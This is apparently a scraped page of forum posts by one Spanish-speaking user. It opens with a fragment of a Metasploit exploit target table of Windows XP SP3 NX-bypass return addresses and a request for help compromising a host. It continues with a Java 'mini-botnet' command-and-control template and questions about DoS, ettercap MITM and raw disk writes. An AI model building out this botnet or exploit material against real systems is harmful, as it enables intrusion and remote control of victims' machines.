], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Finnish (NX)',
{
'Ret'       => 0x597df807,
'DisableNX' => 0x597e17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 French (NX)',
{
'Ret'       => 0x595bf807,
'DisableNX' => 0x595c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Hebrew (NX)',
{
'Ret'       => 0x5940f807,
'DisableNX' => 0x594117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Hungarian (NX)',
{
'Ret'       => 0x5970f807,
'DisableNX' => 0x597117c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Italian (NX)',
{
'Ret'       => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Japanese (NX)',
{
'Ret'       => 0x567fd4d2,
'DisableNX' => 0x568017c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Korean (NX)',
{
'Ret'       => 0x6fd6f807,
'DisableNX' => 0x6fd717c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Dutch (NX)',
{
'Ret'       => 0x596cf807,
'DisableNX' => 0x596d17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Norwegian (NX)',
{
'Ret'       => 0x597cf807,
'DisableNX' => 0x597d17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Polish (NX)',
{
'Ret'       => 0x5941f807,
'DisableNX' => 0x594217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Portuguese - Brazilian (NX)',
{
'Ret'       => 0x596ff807,
'DisableNX' => 0x597017c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Portuguese (NX)',
{
'Ret'       => 0x596bf807,
'DisableNX' => 0x596c17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Russian (NX)',
{
'Ret'       => 0x6fe1f807,
'DisableNX' => 0x6fe217c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Swedish (NX)',
{
'Ret'       => 0x597af807,
'DisableNX' => 0x597b17c2,
'Scratch'   => 0x00020408
}
], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

# Metasploit's NX bypass for XP SP2/SP3
[ 'Windows XP SP3 Turkish (NX)',
{
'Ret'       => 0x5a78f807,
'DisableNX' => 0x5a7917c2,
'Scratch'   => 0x00020408
}


Una vez dicho esto, quiero pedirles ayuda, como puedo hacerlo? estoy encerrado, no se como hacerlo, y conozco muy pocas vulnerabilidades que explotar, la que mas usaba era la ms08_67_netapi pero esta vez ha fallado, y hechandole con el sacner nessus y un autopwn tampoco tira ( no esperaba mucho de este ultimo -.-').

Admito vulnerabilidades posibles en el host.

Si lo consigo lo masterizare como guia de ataque modelo.

Saludos y gracias a tod@s.

#101
Electrónica / Problema con oregano
5 Enero 2010, 13:50 PM
Hola a todos, em decidi a montar mi circuito, y antes de hacerlo de manera fisica, lo hice por simulación, el problema esta en que le emto una alimentacion ac de 220v y al intentar hacer la simulacion em dice que falta nodo de tierra, y es que la toma de tierra de la fuente esta vacia.

Que elemento es un nodo de tierra en oregano?

Saludos
#102
Hola a todos, os traigo una plantilla de una mini-botnet, para que podais crear una red de pc bot, para hacer multiples cosas, desde enviar todos juntos un archivo, a atender un chat irc, en resumen para hacer alguna cosa de manera masiba, o entre varios pc:

Os pongo el codigo (que tiene un fallo importante):

Servidor.java
Código (java) [Seleccionar]

/*
* Servidor.java
*
* Created on 30-dic-2009, 11:21:52
*/

package main;

/**
*
* @author debci
*/
import java.util.logging.Level;
import java.util.logging.Logger;
import threads.*;

public class Servidor extends javax.swing.JFrame {

    //Instanciamos el thread que gestiona las conexiones con los bots
    private static ThreadEjecución thread = new ThreadEjecución();
    public static Integer cuantosBots = 0;
   

   

    /** Creates new form Servidor */
    public Servidor() {
        initComponents();
    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">                         
    private void initComponents() {

        PopMenu = new javax.swing.JPopupMenu();
        itemSalir = new javax.swing.JMenuItem();
        jLabel1 = new javax.swing.JLabel();
        numBots = new javax.swing.JLabel();
        jLabel2 = new javax.swing.JLabel();
        slider = new javax.swing.JSlider();
        botsSel = new javax.swing.JLabel();
        jLabel4 = new javax.swing.JLabel();
        btnEnviar = new javax.swing.JButton();
        envComando = new javax.swing.JTextField();

        itemSalir.setText("Salir");
        itemSalir.setComponentPopupMenu(PopMenu);
        itemSalir.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
        itemSalir.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                itemSalirActionPerformed(evt);
            }
        });
        PopMenu.add(itemSalir);

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

        jLabel1.setText("Tienes");

        numBots.setText("numBots");

        jLabel2.setText("bots a tu disposicion.");

        slider.setMaximum(0);
        slider.setPaintLabels(true);
        slider.setPaintTicks(true);
        slider.setToolTipText("Sleciona cuantos bots quieres realizar para la siguiente ación.");
        slider.setComponentPopupMenu(PopMenu);
        slider.addChangeListener(new javax.swing.event.ChangeListener() {
            public void stateChanged(javax.swing.event.ChangeEvent evt) {
                sliderStateChanged(evt);
            }
        });

        botsSel.setText("0");

        jLabel4.setText("bots selecionados.");

        btnEnviar.setText("Enviar");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(jLabel1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(numBots)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel2))
                    .addGroup(layout.createSequentialGroup()
                        .addComponent(slider, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(botsSel, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                        .addComponent(jLabel4)))
                .addContainerGap(65, Short.MAX_VALUE))
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap(128, Short.MAX_VALUE)
                .addComponent(envComando, javax.swing.GroupLayout.PREFERRED_SIZE, 242, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(btnEnviar)
                .addContainerGap())
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addGap(52, 52, 52)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(numBots)
                    .addComponent(jLabel2))
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addGroup(layout.createSequentialGroup()
                        .addGap(18, 18, 18)
                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                            .addComponent(jLabel4)
                            .addComponent(botsSel)))
                    .addGroup(layout.createSequentialGroup()
                        .addGap(27, 27, 27)
                        .addComponent(slider, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 62, Short.MAX_VALUE)
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(btnEnviar)
                    .addComponent(envComando, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addGap(63, 63, 63))
        );

        slider.getAccessibleContext().setAccessibleDescription("Seleciona cuantos bots quieres realizar para la siguiente ación");

        pack();
    }// </editor-fold>                       

    private void sliderStateChanged(javax.swing.event.ChangeEvent evt) {                                   
        Integer valorSlider = slider.getValue();
        botsSel.setText(valorSlider.toString());
    }                                   

    private void itemSalirActionPerformed(java.awt.event.ActionEvent evt) {                                         
        System.exit(0);
    }                                         

    /**
    * @param args the command line arguments
    */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {
            @SuppressWarnings("static-access")
            public void run() {
                new Servidor().setVisible(true);
                thread.start();
               
               



            }
        });
    }

    // Variables declaration - do not modify                     
    private javax.swing.JPopupMenu PopMenu;
    public static javax.swing.JLabel botsSel;
    private javax.swing.JButton btnEnviar;
    private javax.swing.JTextField envComando;
    private javax.swing.JMenuItem itemSalir;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel4;
    public static javax.swing.JLabel numBots;
    public static javax.swing.JSlider slider;
    // End of variables declaration                   

}



ControlBots.java [THREAD]
Código (java) [Seleccionar]

package threads;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;
import main.Servidor;


/**
*
* @author debci
*/
public class ControlBots extends Thread {

    //Para leer datos en el socket
    private DataInputStream dataInput;
    //Para escribir datos en el socket
    private DataOutputStream dataOutput;
    //Cadena que envia el thread principal a cada bot
    private String signal;
    //Cadena de texto que el bot envia para informar
    private String recivido;
    //Identificador que se le asigna a cada bot
    private Integer id;

    //Contador de la lista negra
    public static Integer contador = 0;

    public ControlBots(Socket nuevoZombie, String envio, Integer identificador)
    {
        try {
            dataInput = new DataInputStream(nuevoZombie.getInputStream());
            dataOutput = new DataOutputStream(nuevoZombie.getOutputStream());
            signal = envio;
            id = identificador;

        } catch (IOException ex) {
            Logger.getLogger(ControlBots.class.getName()).log(Level.SEVERE, null, ex);
        }
           
           
       
    }

    public void run()
    {
        try {
            dataOutput.writeInt(id);
            dataOutput.writeUTF(signal);

           
           
            while (true)
            {
                recivido = dataInput.readUTF();

                if(recivido.equals("error"))
                {
                   System.out.println("Se ha producido un error.\n");
                }else if(recivido.equals("todo bien"))
                {
                 System.out.println("Todo transcurre como deberia.\n");
                }else
                {
                 System.out.println(recivido);
                }



            }
        } catch (IOException ex) {
            System.out.println("ADIOS!");
           
            ThreadEjecución.listaNegra.put(contador, id);
           
            ThreadEjecución.RenovarDatos();
            contador++;
           
           
           
        }



    }
    public void EnviarComando(String comando)
    {
        try {

            dataOutput.writeUTF(comando);

        } catch (IOException ex) {
            Logger.getLogger(ControlBots.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

}

ThreadEjecución.java [THREAD]
Código (java) [Seleccionar]

package threads;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Hashtable;
import java.util.logging.Level;
import java.util.logging.Logger;
import main.Servidor;
import threads.ControlBots;
/**
*
* @author debci
*/
public class ThreadEjecución extends Thread {
    public static ServerSocket socketServidor;
    public static Integer idZombie = 0;
   
   
    public static boolean pasoTransitorio = true;
    //Vector donde vamos almacenando todos los bots zombies que se van conectando
    public static Hashtable<Integer, Socket> vectorZombies;

    //Vector donde vamos guardando en que indices quedan vacios
    public static Hashtable<Integer, Integer> listaNegra;

    //Thread de control
    public ControlBots nuevoZombie;

    //Dato donde guardamos cual hay libre
    public static Integer contador = 0;

    //Comprueba que ya se haya eliminado algun bot para poner en practica la
    //rutina de comprobacion.
    public static boolean borrado = false;


    public static Integer disponible = 0;



    public ThreadEjecución()
    {
        //Declaración de variables de instancia para usar durante el proceso
        //Try para capturar exepciones y tratar posibles errores
        try {
            vectorZombies = new Hashtable();
            listaNegra = new Hashtable();
            socketServidor = new ServerSocket(6666);
           

        } catch (IOException ex) {
            Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex);
        }

    }

    public void run()
    {
       
         while (true)
            {
            try {
                   
                System.out.println("Esperando conexiones...");

                Socket zombie = socketServidor.accept();
                idZombie++;
               
               
                if(listaNegra.isEmpty())
                {
                System.out.println("Nuevo bot añadido a la BotNet: " + idZombie + "\n");
                vectorZombies.put(idZombie, zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red de Bots!", idZombie);
                }else{
                    for(int i = 0; i < listaNegra.size(); i++)
                    {
                        if(listaNegra.containsKey(i))
                        {
                            disponible = i;
                            break;
                        }
                    }
                for(int i = 0; i< listaNegra.size(); i++)
                {
                    System.out.println("Hay disponible la clave: " + listaNegra.get(i) + ".\n");
                }
                System.out.println("Nuevo zombie añadido a la BotNet: " + listaNegra.get(disponible) + "\n");
                vectorZombies.put(listaNegra.get(disponible), zombie);
                nuevoZombie = new ControlBots(zombie, "Bienvenid@ a la red zombie!",listaNegra.get(disponible));
                System.out.println("La clave " + listaNegra.get(disponible) + " ya no esta disponible.\n");
                listaNegra.remove(disponible);
               
                ControlBots.contador--;
               
                }
               
   
               
               
                nuevoZombie.start();
                Servidor.slider.setMaximum(idZombie);
                Servidor.numBots.setText(idZombie.toString());
                borrado = false;
               
               
            } catch (IOException ex) {
                Logger.getLogger(ThreadEjecución.class.getName()).log(Level.SEVERE, null, ex);
            }


            }
    }
public static void RenovarDatos()
{
    idZombie--;


            Servidor.slider.setValue(idZombie);
            Servidor.slider.setMaximum(idZombie);
            Servidor.numBots.setText(idZombie.toString());

}

public void rutinaComprovacion()
{
   
}

public void enviarComando(int cuantos, String comando)
{



}
}


Un ejemplo de cliente


Vamos a hacer un cliente de echo:

Código (java) [Seleccionar]
package main;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author debci
*/
public class Cliente {
public static Socket socketCliente;
public static DataInputStream dis;
public static DataOutputStream dos;
public static String cadenaEnviar;
public static int identificador;
    public static void main(String args[])
    {
        try {
           
            socketCliente = new Socket("localhost", 6666);
            dis = new DataInputStream(socketCliente.getInputStream());
            dos = new DataOutputStream(socketCliente.getOutputStream());
            ThreadBot hilo = new ThreadBot();
            hilo.start();
           
        } catch (UnknownHostException ex) {
            Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);
        } catch (IOException ex) {
            Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    static class ThreadBot extends Thread {


    public void run()
    {
            try {
                identificador = dis.readInt();
                System.out.println("Soy el bot numero " + identificador + ".\n");
                while (true) {
                    try {
                        String recivido = dis.readUTF();
                        System.out.println(recivido);
                        dos.writeUTF(recivido);
                    } catch (IOException ex) {
                        Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            } catch (IOException ex) {
                Logger.getLogger(Cliente.class.getName()).log(Level.SEVERE, null, ex);
            }
    }

}
}

Podemos usar esta plantilla para hacer todo tipo de cosas, ojo ninguna que esta fuera del limite de lo legal, lo prohibo explicitamente, y no me haré responsable de los posibles daños que pueda acarrear.

El uso es simple solo hace falta saber algo de java, programasmo unc liente y el servidor le envia datos (strings, integers, booleans...) y el cliente responde, todo esto ademas se hace masificado.

No es funcional por si solo, haria falta añadrile parte de codigo.

Ahora el problema que tengo:

Cuando un nuevo bot se añade, se le asigna un id, y cuando se elimina se añade esa id a una lista donde luego cuando otro entre se le asignara para tener todos los id ocupados, de esta manera cuando uno s eva al siguiente se le asigan el id del que se ha ido.

Pero el problema reside, en que cuando se desconectan dos simultaneos, luego no funciona como deberia, al siguiente le asigan bien el id pero al otro ya no.

Estoy desesperador lelvo como 3 semanas con esto y no salgo de este problema, seguro que es una tonteria, pero no soy capaz de ver donde etsa fallando.


Espero que os guste.


Saludos a tod@s
#103
Hola a todos, estoy depurando mi aplicacion de red... una tool util que pronto pondre en forma de source y binario en el foro.

Es una aplicacion cliente-servidor que usa sockets, threads y demas...

Bueno uso un sistema de enumeración para ordenarlos en la memoria y poder identificarlos.

La cosa esta en lo siguiente:

Cuando un cliente se conecta al servidor:

Añado 1 al contador (contador++;)

Cuando se desconecta, disminuyo 1 (contador--;)

Pero ocurre el siguiente fallo:

Si abro dos, les doy como id 1 y 2.

Si se va uno, disminuyo y el contador esta en 1 (contador - 1 = 2) y si entra otro se le asigna el 2, ahora tengo dos con el el identificador 2, y uno se remplaza al otro en la tabla de hash.

Me planteé hacerlo que nunca disminuya, pero ocurre el siguiente fallo, cuando quiero hacer un cast a todos, las id que se han desconectado pero sin embargo todavia estan registradas ya no tiene un objeto guardado y produce expeciones cosa mala.

Que puedo hacer?


Saludos
#104
Materiales y equipos / La tarjeta de mis sueños :P
29 Diciembre 2009, 18:34 PM
Hola a tod@s, queria preguntar sobre que tarjeta de red comprarme (me refiero a los sticks usb que tan de moda se han puetso) con la que pueda snifar red, hacer juegos con ettercap y auditar seguridad wep de mi red.

Tengo una hercules con driver rt73usb y de entrada no puedo usar el ettercap, no funciona bien con aircrack...

Algun modelo en concreto? La mas fiable, la mas conocida en este mundillo.

Saludos
#105
Java / Abrir conexion con sitio web
28 Diciembre 2009, 15:57 PM
Hola a tod@s, esta vez queria preguntaros sobre como crear una conexion con un sitio web, supongo que debe ser con sockets, la realidad es que quiero provocar un dos en mi propio servidor (o intentarlo) y investigando he llegado a la conclusion de que se puede hacer con envio de paquetes de red.

Como se podria hacer esto en java?

Son fines meramente equitativos e instructivos, para comprobar la seguridad de mi apache ante tal tipo de ataques, que ultimamente andan extendiendose por la red.

Saludos a tod@s
#106
Hola a tod@s, esta tarde me puse a investigar con el ettercap para intentar hacer un mitm a mi propio pc (uno que tengo en lan) y ver si de verdad funciona.
El problema, es que cuando le doy a "Scan for host" no me encuentra ninguno dice noseque de mask 255 y no me encuentra ninguno, da pena ver como una herramienta tan potente se rompe en el punto mas sencillo y en teoria menos problematico.

Alguien sabe porque ocurre esto?


Saludos
#107
Java / Error tonto con threads y sockets
26 Diciembre 2009, 15:39 PM
Hola a todos jeje, soy yo otra vez, he vuelto al java xD
Mirad estoy constryendo una aplicacion con sockets, que gestiona varios cliente mediante el uso de threads, la cosa esta en que cada vez que se conecta un cliente al servidor, este le abre un thread, y lo deja en ejecucion hasta que el cliente se cierra y le envia un binario, cuando le envia el binario se cumple el bucle y el thread muere, pero ocurre una cosa extraña, mirad el codigo:

ClienteGui.java
Código (java) [Seleccionar]


package sockets;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author debci
*/
public class ClienteGui extends javax.swing.JFrame {
            public static Socket socket;
            public static InputStream is;
            public static OutputStream os;
            public static DataInputStream dis;
            public static DataOutputStream dos;
    /** Creates new form ClienteGui */
    public ClienteGui() {
        initComponents();
    }

    /** This method is called from within the constructor to
     * initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is
     * always regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        jButton1 = new javax.swing.JButton();
        jScrollPane1 = new javax.swing.JScrollPane();
        textoEnv = new javax.swing.JTextArea();

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        addWindowListener(new java.awt.event.WindowAdapter() {
            public void windowClosed(java.awt.event.WindowEvent evt) {
                formWindowClosed(evt);
            }
            public void windowClosing(java.awt.event.WindowEvent evt) {
                formWindowClosing(evt);
            }
        });

        jButton1.setText("Enviar");
        jButton1.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jButton1ActionPerformed(evt);
            }
        });

        textoEnv.setColumns(20);
        textoEnv.setRows(5);
        jScrollPane1.setViewportView(textoEnv);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap(337, Short.MAX_VALUE)
                .addComponent(jButton1)
                .addContainerGap())
            .addGroup(layout.createSequentialGroup()
                .addGap(21, 21, 21)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addContainerGap(117, Short.MAX_VALUE))
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                .addContainerGap(89, Short.MAX_VALUE)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(83, 83, 83)
                .addComponent(jButton1)
                .addContainerGap())
        );

        pack();
    }// </editor-fold>

    private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
        try {
            String cadena = textoEnv.getText();
            dos.writeBoolean(true);
            dos.writeUTF(cadena);
           
        } catch (IOException ex) {
            Logger.getLogger(ClienteGui.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    private void formWindowClosed(java.awt.event.WindowEvent evt) {
       
    }

    private void formWindowClosing(java.awt.event.WindowEvent evt) {
        try {
            dos.writeBoolean(false);
        } catch (IOException ex) {
            Logger.getLogger(ClienteGui.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    /**
    * @param args the command line arguments
    */
    public static void main(String args[]) {
        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                try {
                    new ClienteGui().setVisible(true);
                    socket = new Socket("localhost", 5557);
                    is = socket.getInputStream();
                    os = socket.getOutputStream();
                    dis = new DataInputStream(is);
                    dos = new DataOutputStream(os);
                } catch (IOException ex) {
                    Logger.getLogger(ClienteGui.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
        });
    }

    // Variables declaration - do not modify
    private javax.swing.JButton jButton1;
    private javax.swing.JScrollPane jScrollPane1;
    private javax.swing.JTextArea textoEnv;
    // End of variables declaration

}




Servidor.java

Código (java) [Seleccionar]

package sockets;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import threads.ThreadServidor;

/**
*
* @author debci
*/
public class Servidor {

    public static void main(String[] args) throws IOException {
      Servidor servidor = new Servidor();
      servidor.ServidorChat();

    }

   public void ServidorChat()
    {
        try
        {
            ServerSocket socketServidor = new ServerSocket(5557);
           
            while (true)
            {
                System.out.println("Esperando conexiones...");
                Socket cliente = socketServidor.accept();

                Runnable nuevoCliente = new ThreadServidor(cliente);
                Thread hilo = new Thread(nuevoCliente);
                hilo.start();
               
            }
        } catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}




ThreadServidor.java
Código (java) [Seleccionar]

package threads;

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
* @author debci
*/
public class ThreadServidor extends Thread {

//Socket al que esta conectado el cliente
    private Socket socket1;

/** Para lectura de datos en el socket */
    private DataInputStream dataInput;

    /** Para escritura de datos en el socket */
    private DataOutputStream dataOutput;

    private boolean acabado = true;


    public ThreadServidor(Socket socket) {
        try {
            socket1 = socket;
            dataInput = new DataInputStream(socket.getInputStream());
            dataOutput = new DataOutputStream(socket.getOutputStream());

        } catch (IOException ex) {

            System.err.println("Error de procesamiento de datos: \n" + ex);

        }
    }

    public void run() {
        try {
          while(acabado){
            acabado = dataInput.readBoolean();
            String mensajeRecivido = dataInput.readUTF();
            System.out.println(mensajeRecivido + "\n");
           
          }
           
        } catch (IOException ex) {
            Logger.getLogger(ThreadServidor.class.getName()).log(Level.SEVERE, null, ex);
        }


Me explico, la cosa esta en que cuando el cliente, se cierra (formClosing) se envia el booleano al thread que lo esta atendiendo.
Si el booleano se cambia, se rompe el bucle while y se muere el thread.

El problema, y no se de donde viene, es que cuando cierro un cliente y le pido desconexion y que mate al thread, el servidor libera un error:


26-dic-2009 15:30:55 threads.ThreadServidor run
GRAVE: null
java.io.EOFException
        at java.io.DataInputStream.readUnsignedShort(DataInputStream.java:323)
        at java.io.DataInputStream.readUTF(DataInputStream.java:572)
        at java.io.DataInputStream.readUTF(DataInputStream.java:547)
        at threads.ThreadServidor.run(ThreadServidor.java:50)
        at java.lang.Thread.run(Thread.java:619)

Me da ese error y luego continua atendiendo clientes, cada vez que cierro un cliente me lo da, y no se porque es, y como comprendereis no quiero darle uso a una aplicacon que tiene un defecto claro.

Saludos y gracias a todos.
#108
Electrónica / [Iniciación] Que pic escojer?
17 Diciembre 2009, 18:42 PM
Hola a todos, estoy entrando en el mundo de la electronica, y me gustaria saber por que pic empezar, ya tengo idea de circuitos electronicos y electricos (diodos, transistores, leds...) y me gustaria adquirir algun pic sencillito, programable en c o otro que no fuese asm (me mata xD).
Y el proceso de como se carga un programa en un pic, porque los que eh estado mirando no tienen ningun sitio donde meterselo, como implanto mi codigo en un pic? Si me diesen los detalles completos, os lo agradeceria ^^ asi como algun modelo en cocnreto barato y que tenga documentacion, no pido que sea muy potente, ram sencillita y una eeprom sencillita tambien.

Saludos a todos
#109
Java / Problema lógico con bucle
30 Noviembre 2009, 21:56 PM
 :¬¬
Hola a todos llevo toda la santa tarde rompiendome la cabeza delante del monitor, para sacar una tonteria  :xD:¬¬ ).

Mirad el codigo:
Código (java) [Seleccionar]

/**
*
* @author debci
*/
public class Encriptador {

private static int numeroCaracteres;
    private static int ncClave;
    private String sCadenaInvertida;

public void cifra() {
String cadenaIntroducida = new String("Hola");
String Clave = new String("debci");
String Subcadena = Clave.substring(Clave.length() / 2 + 1);

sCadenaInvertida = "";
cadenaIntroducida = cadenaIntroducida.toLowerCase();
char[] matrizCaracteres = cadenaIntroducida.toCharArray();

char[] matrizCharMovida  = Clave.toCharArray();
numeroCaracteres = matrizCaracteres.length;
int y = 0;
for(int i = 0; i < numeroCaracteres; i++) {
    if (i == numeroCaracteres - 2 ) {
      y = 0;
    }
    y = i + 1;
    matrizCaracteres[y] = matrizCharMovida[i];

}

Intento conseguir que se mezclen la dos strings de la siguiente manera:
Palabra 1 -> Hola
Palabra 2 -> debci

Y que quede helci
Es decir que coja una letra de cada uno, pero no lo consigo....


En teoria mi bucle lógico tendria que hacerlo pero no hay manera.

Estoy frustrado  :(
:rolleyes:
:rolleyes:
:rolleyes:
:rolleyes:

Ayudenme por favor  :-[

Saludos  :P
#110
Java / Duda Planes malvados
30 Noviembre 2009, 19:47 PM
Juas Juas que malo soy xD
Queria haceros una pregunta.
Como prodria modificar desde java un sector de memoria directamente, que no sea un archivo, como por ejemplo, el primer byte de un disco duro...
¬¬
Ya me entendeis, leer offsets y direciones de memoria (offsets, segmentos...) desde java.
Cuando digo leer digo escribir..

¬¬

Saludos
#111
Java / [Aporte] Copiador de bytes en un mismo medio
29 Noviembre 2009, 19:53 PM
Hola a todos, hoy investigando y dando uso de la logica, he llegado a la siguiente conclusion sobre manipulacion directa de bytes:
ES como interepretar una hoja de calculo.

Y aqui el codigo fruto de mi mini-investigacion:

Código (java) [Seleccionar]

package archivos;



import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.util.logging.Level;
import java.util.logging.Logger;

/**
*
